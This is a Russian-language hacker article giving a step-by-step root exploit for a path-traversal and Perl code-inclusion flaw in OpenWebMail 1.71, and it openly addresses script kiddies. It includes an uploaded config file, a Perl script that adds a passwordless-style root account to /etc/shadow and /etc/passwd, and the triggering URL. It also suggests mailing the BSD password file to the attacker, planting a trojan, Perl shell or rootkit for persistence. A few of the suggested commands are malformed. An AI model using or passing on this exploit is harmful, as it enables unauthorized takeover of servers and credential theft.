Получение root-привелегий через OpenWebMail v.1.71.

Ну, для начала, что такое Openwebmail? Это написанный на перле движок для управления почтовыми ящиками через веб-интерфейс. Для простых смертных, это типа того, который на mail.ru стоит :) Официальный сайт www.openwebmail.org. Предположительно, все версии до 1.71 (включительно) уязвимы.
Я решил описать именно эту уязвимость по двум причинам. Во-1ых, она сама по себе довольно уникальна и интересна, во-2ых, позволяет без особых напрягов получить административные привелегии в системе, то есть, является первоклассным кормом для полчищ script-k1d'ов..
Итак, уязвимость попала в BugTraq'и 18-го декабря этого года. Она в некоторой части похожа на очень нетипичный для перла, но очень распространённый в php-скриптах баг - php (в нашем случае perl) source injection. Рассмотрим фрагменты сорсов двух файлов - "openwebmail-abook.pl" и "openwebmail-shared.pl":
+++++++openwebmail-abook.pl+++++++
#!/usr/bin/suidperl -T
...
require "openwebmail-shared.pl";
...
openwebmail_init();
...
++++++++++++++++++++++++++++++++++

+++++++openwebmail-shared.pl++++++
...
sub openwebmail_init {
...
   $thissession = param("sessionid");
...
   $loginname =~ s/\-session\-0.*$//;
   my $siteconf;
   if ($loginname=~/\@(.+)$/) {
       $siteconf="$config{'ow_etcdir'}/sites.conf/$1";
   } else {
       my $httphost=$ENV{'HTTP_HOST'}; $httphost=~s/:\d+$//;
       $siteconf="$config{'ow_etcdir'}/sites.conf/$httphost";
   }
   readconf(\%config, \%config_raw, "$siteconf") if ( -f "$siteconf");
...
   require $config{'auth_module'};
++++++++++++++++++++++++++++++++++
Когда мы запускаем первый скрипт таким образом: /openwebmail-abook.pl?sessionid=@[any_data]-session-0 , управление передаётся второму скрипту, а точнее его функции "openwebmail_init()". Далее начинается самое интересное! В переменную "$loginname" записывается то, что в вышеуказанном запросе я обозвал "[any_data]", и из неё же формируется "$siteconf".
Дальше, юзая readconf(), скрипт считывает параметры из файла, путь и название которого указаны в $siteconf. По идее, путь должен быть вида "?/sites.conf/[user_login]", правильно? Так вот, уязвимость заключается в том, что вместо логина мы можем указать что-то типа "../../../../evil.conf" и скрипт всё равно посчитает это нашим conf-файлом (кста, небольшой оффтопик: данные из conf-файла считываются в формате "параметр значение" - это в дальнейшем понадобится). А самый смак в последней строчке:
...
require $config{'auth_module'};
...
Скрипт запрашивает перл-скрипт, который указан в (!!) conf-файле под параметром "auth_module". Причём, выполнится он с правами root.

Почему? Причём тут root?
Suidperl. Дело в том, что OpenWebMail может работать _только_ из-под рута. Так что, даже если ты найдёшь в интернете сервер с более новой и неуязвимой версией OWM, можешь быть уверен на 99.9%, что система запущена под root'ом :)

Exsploit.
Ну а теперь о том, как же всё-таки всё это реализовать.
Единственное неудобство в том, что ты должен иметь доступ на создание\закачку\редактирование файлов на сервере (это тебе не php - прикол вроде "/openwebmail-abook.pl?sessionid=@http://www.vasya.ru/evil.conf-session-0" не прокатит). Для наших целей сгодится даже анонимный ftp. Как раз эту возможность я и рассмотрю, т.к. она наиболее вероятная.
Итак, мы нашли сервер с уязвимым OpenWebMail'ом и открытым анонимным фтп. Коннектимся. Заливаем два файла:
+++++++++++evil.conf+++++++++++

auth_module /home/ftp/incoming/got_root.pl

+++++++++++++++++++++++++++++++


++++++++++got_root.pl++++++++++

open(PWD, ">>../../../../../etc/shadow"); #login: Vasya; Passwd: ftp
print PWD "\n\rVasya:T0ipVUJsj7g92:0:0:Vasya The Hacker:/myhomedir:/bin/bash\n\r";
close(PWD);
open(HDL, ">>../../../../../etc/passwd"); #правда, я хз, нужно ли добавлять запись в passwd
print HDL "\n\rVasya:*:0:0:Vasya The Hacker:/myhomedir:/bin/bash\n\r";
close(HDL);

+++++++++++++++++++++++++++++++
Далее заходим на:
http://www.vuln_host.com/cgi-bin/openwebmail-abook.pl?sessionid=@../../../../../../home/ftp/incoming/evil.conf-session-0 #заметь собаку (@) перед "логином"! Не пугайся, она потом уберётся.
Если на машине установлен "обычный" (если так можно выразиться) Linux, у которого пароли хранятся в /etc/shadow, и, если путь к доступному на запись фтп-каталогу "/home/ftp/incoming/", то в системе окажется юзер Vasya с паролем "ftp" и root-привелегиями. Если же сервер стоит под *BSD, то этот способ не прокатит, т.к. учётную запись нужно добавлять ещё и в pwd.db(?). В этом случае можно ограничиться чем-нибудь типа "system('mail your@mail.ru | cat /etc/master.passwd');". Вот.
Ну а для самых извращённых, можно залить туда какой-нибудь простенький перловый троян или даже перл-шелл. А можно ещё и руткит залить, а в перл скрипте прописать что-то вроде system('gcc -o kit kit.c | ./kit');. Этот вариант, имхо, даже наиболее приемлемый, т.к. одним выстрелом ты убьёшь двух зайцев - получишь рута и закрепишься в системе :)
В общем, возможностей просто куча. Удачи.

P.S. во избежание возможных разночтений, считаю должным пояснить, что уязвимость была найдена неким Dmitry Guyvoronsky. А инф-ция взята из BugTraq'ов.